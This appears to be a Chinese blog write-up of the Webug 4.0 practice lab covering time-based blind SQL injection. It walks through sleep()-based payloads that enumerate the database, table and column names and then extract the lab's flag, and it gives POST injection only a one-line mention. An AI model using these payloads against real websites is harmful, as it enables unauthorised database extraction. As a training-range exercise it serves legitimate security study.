Webug4.0靶场通关笔记(第二天)--------延时注入和post注入

一、延时注入

延时注入是基于布尔注入的, 简单来说, 是通过if语句返回的真(true)或假(false)来确定是否执行网页延迟响应,当布尔注入不成功时,即不能直接观察页面的返回正常与否来判断sql语句是否执行成功, 我们这时候就可以采用延迟注入。

这个也可以用布尔注入,不过既然考察延时注入,还是学习下比较好
1.先判断字段数
在这里插入图片描述2.判断数据库(webug)

?id=1’ and if(substr(database(),1,1)=‘w’,sleep(5),1)%23 (判断数据库第一个字母是否为w,是的沉睡5秒)
?id=1’ and if(substr(database(),2,1)=‘w’,sleep(5),1)%23 (判断数据库第二个字母是否为w,很明显不是)

在这里插入图片描述

最终判断出数据库为webug

3.爆出webug数据库中所有表

?id=1’ and if((select count(table_name) from information_schema.tables where table_schema=database())>6,sleep(5),1)%23
?id=1’ and if((select count(table_name) from information_schema.tables where table_schema=database())>7,sleep(5),1)%23

判断表的数量,前者true沉睡5秒,后者false,可知表的总数为7
在这里插入图片描述

猜表名长度

1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1)%23
?id=1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2))=8,sleep(5),1)%23

两个语句都沉睡5秒,表明第一个表名长度为9,第二张表名长度为8,依次爆出第三、四、五、六、七张表名长度为8、4、12、4、9
在这里插入图片描述爆破表名
这一关flag在第二张表里.

?id=1’ and if(substr((select table_name from information_schema.tables where table_schema=‘webug’ limit 0,1),1,1)=‘d’,sleep(5),1)%23

?id=1’ and if(substr((select table_name from information_schema.tables where table_schema=‘webug’ limit 0,1),2,1)=‘a’,sleep(5),1)%23

?id=1’ and if(substr((select table_name from information_schema.tables where table_schema=‘webug’ limit 0,1),3,1)=‘t’,sleep(5),1)%23

上述语句是第一张表的第一个字母是d,第二个是a,第三个字母为t,最后爆出第一张表为data_crud
再爆第二张表

?id=1’ and if(substr((select table_name from information_schema.tables where table_schema=‘webug’ limit 1,1),1,1)=‘e’,sleep(3),1)%23

?id=1’ and if(substr((select table_name from information_schema.tables where table_schema=‘webug’ limit 1,1),2,1)=‘n’,sleep(3),1)%23

最终爆出第二张表为env_list

4.爆出第二张表所有列
先爆第二张表env_list的列数

?id=1’ and if((select count(column_name) from information_schema.columns where table_name=‘env_list’)=8,1,sleep(5))%23

此时页面返回正常,代表env_list有8列

爆出所有列名

?id=1’ and if(substr((select column_name from information_schema.columns where table_name=‘env_list’ limit
0,1),1,1)=‘i’,sleep(5),1)%23

?id=1’ and if(substr((select column_name from information_schema.columns where table_name=‘env_list’ limit
0,1),2,1)=‘d’,sleep(5),1)%23

第一列列名是id

?id=1’ and if(substr((select column_name from information_schema.columns where table_name=‘env_list’ limit 1,1),1,1)=‘e’,sleep(5),1)%23

?id=1’ and if(substr((select column_name from information_schema.columns where table_name=‘env_list’ limit 1,1),2,1)=‘n’,sleep(5),1)%23

第二列列名是envName
最终爆出env_list表所有列为id,envName,envDesc,envIntegration,delFlag,envFlag,level,type
这一关flag在envFlag中

5.爆出envFlag列中所有数据
先爆出envFlag中数据长度

?id=1’ and if(length(substr((select envFlag from env_list limit 0,1),1))=16,sleep(5),1)%23

?id=1’ and if(length(substr((select envFlag from env_list limit 1,1),1))=9,sleep(5),1)%23

这表示第一个数据长度为16,第二个数据长度为9,第几个数据对应第几关flag
这是第三关,则爆出第三个数据长度为9

爆出第三个数据

?id=1’ and if(substr((select envFlag from env_list limit 2,1),1,1)=‘g’,sleep(5),1)%23
?id=1’ and if(substr((select envFlag from env_list limit 2,1),2,1)=‘f’,sleep(5),1)%23

最终爆出为gfdgdfsdg

post注入

这个不搞了,和布尔注入延时注入差不多,只不过不是在url栏,需要post传参

猜你喜欢

转载自blog.csdn.net/ZXT2804567059/article/details/113875794